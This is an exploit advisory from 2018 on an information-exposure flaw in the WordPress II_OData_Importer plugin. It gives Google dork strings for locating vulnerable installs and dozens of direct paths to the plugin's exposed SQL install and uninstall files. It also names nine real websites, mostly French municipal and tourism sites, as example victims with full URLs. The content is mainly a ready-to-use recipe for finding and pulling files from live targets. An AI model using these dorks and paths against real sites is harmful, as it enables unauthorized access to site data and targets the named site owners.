facebook facebook twitter rss

WordPress II_OData_Importer Plugins Database Backup Arbitrary File Download Vulnerability

Author: KingSkrupellos , Published: 23-11-2018
#################################################################################################

# Exploit Title : WordPress II_OData_Importer Plugins Database Backup Arbitrary File Download Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 22/11/2018
# Vendor Homepages :
+ wordpress.org
+ themesinfo.com/wordpress-plugins/wordpress-ii_odata_importer-plugin-dt2m
+ pluginu.com/II_OData_Importer
# Tested On : Windows and Linux
# Category : WebApps
# Google Dorks :
inurl:''/wp-content/plugins/II_OData_Importer/''
Index of /wp-content/plugins/II_OData_Importer/
# Exploit Risk : Medium
# CWE : CWE-264 - [ Permissions, Privileges, and Access Controls ]
CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ]
CWE-530 [ Exposure of Backup File to an Unauthorized Control Sphere ]

#################################################################################################

# Admin Panel Login Path :

/wp-login.php

# Exploits :

/wp-content/plugins/II_OData_Importer/_assets/_sql/Desinstall/alter_table_wp_postmeta_first_field.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Desinstall/alter_table_wp_postmeta_second_field.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Desinstall/uninstall.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/a_insert_options_plugin.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/a_insert_options_plugin.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/alter_table_wp_postmeta_add_first_field.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/alter_table_wp_postmeta_second_field.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/alter_table_wp_posts.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/create_iicommunes.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/create_iicorropensystem.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/create_iicrosssellingrules.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/create_iicustommarqueblanche.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/create_iidepartements.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/create_iidistantcontents.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/create_iifeed.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/create_iifeed_comment.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/create_iifeed_post_post.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/create_iifeedfield.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/create_iifeedfront.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/create_iiglobalfield.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/create_iiglobalmap.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/create_iiglobaltotalmap.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/create_iigroupfacets.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/create_iihtmltagtype.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/create_iiiconmapping.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/create_iimodule.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/create_iiregions.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/create_iisubversioning.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/create_join_marqueblanche_maps.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/insert_iicommunes.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/insert_iidepartements.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/insert_iihtmltagtype.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/insert_iiiconmapping.sql

/wp-content/plugins/II_OData_Importer/_assets/_sql/Install/insert_iiregions.sql

#################################################################################################

# Example Vulnerable Sites =>

[+] tourisme-coutances.fr/wp-content/plugins/II_OData_Importer/_assets/_sql/Desinstall/alter_table_wp_postmeta_first_field.sql

[+] albertville.fr/wp-content/plugins/II_OData_Importer/_assets/_sql/Desinstall/alter_table_wp_postmeta_first_field.sql

[+] esternay-tourisme.fr/wp-content/plugins/II_OData_Importer/_assets/_sql/Desinstall/alter_table_wp_postmeta_first_field.sql

[+] p6589.phpnet.org/laiguillonsurmer-tourisme2.fr/wp-content/plugins/II_OData_Importer/_assets/_sql/Desinstall/alter_table_wp_postmeta_first_field.sql

[+] sudvendeetourisme.com/wp-content/plugins/II_OData_Importer/_assets/_sql/Desinstall/alter_table_wp_postmeta_first_field.sql

[+] othagues.manche.io/wp-content/plugins/II_OData_Importer/_assets/_sql/Desinstall/alter_table_wp_postmeta_first_field.sql

[+] fismes.reims-tourisme.com/wp-content/plugins/II_OData_Importer/_assets/_sql/Desinstall/alter_table_wp_postmeta_first_field.sql

[+] argonne.fr/wp-content/plugins/II_OData_Importer/_assets/_sql/Desinstall/alter_table_wp_postmeta_first_field.sql

[+] maraispoitevin-vendee.com/wp-content/plugins/II_OData_Importer/_assets/_sql/Desinstall/alter_table_wp_postmeta_first_field.sql

#################################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

#################################################################################################

Like us on Facebook :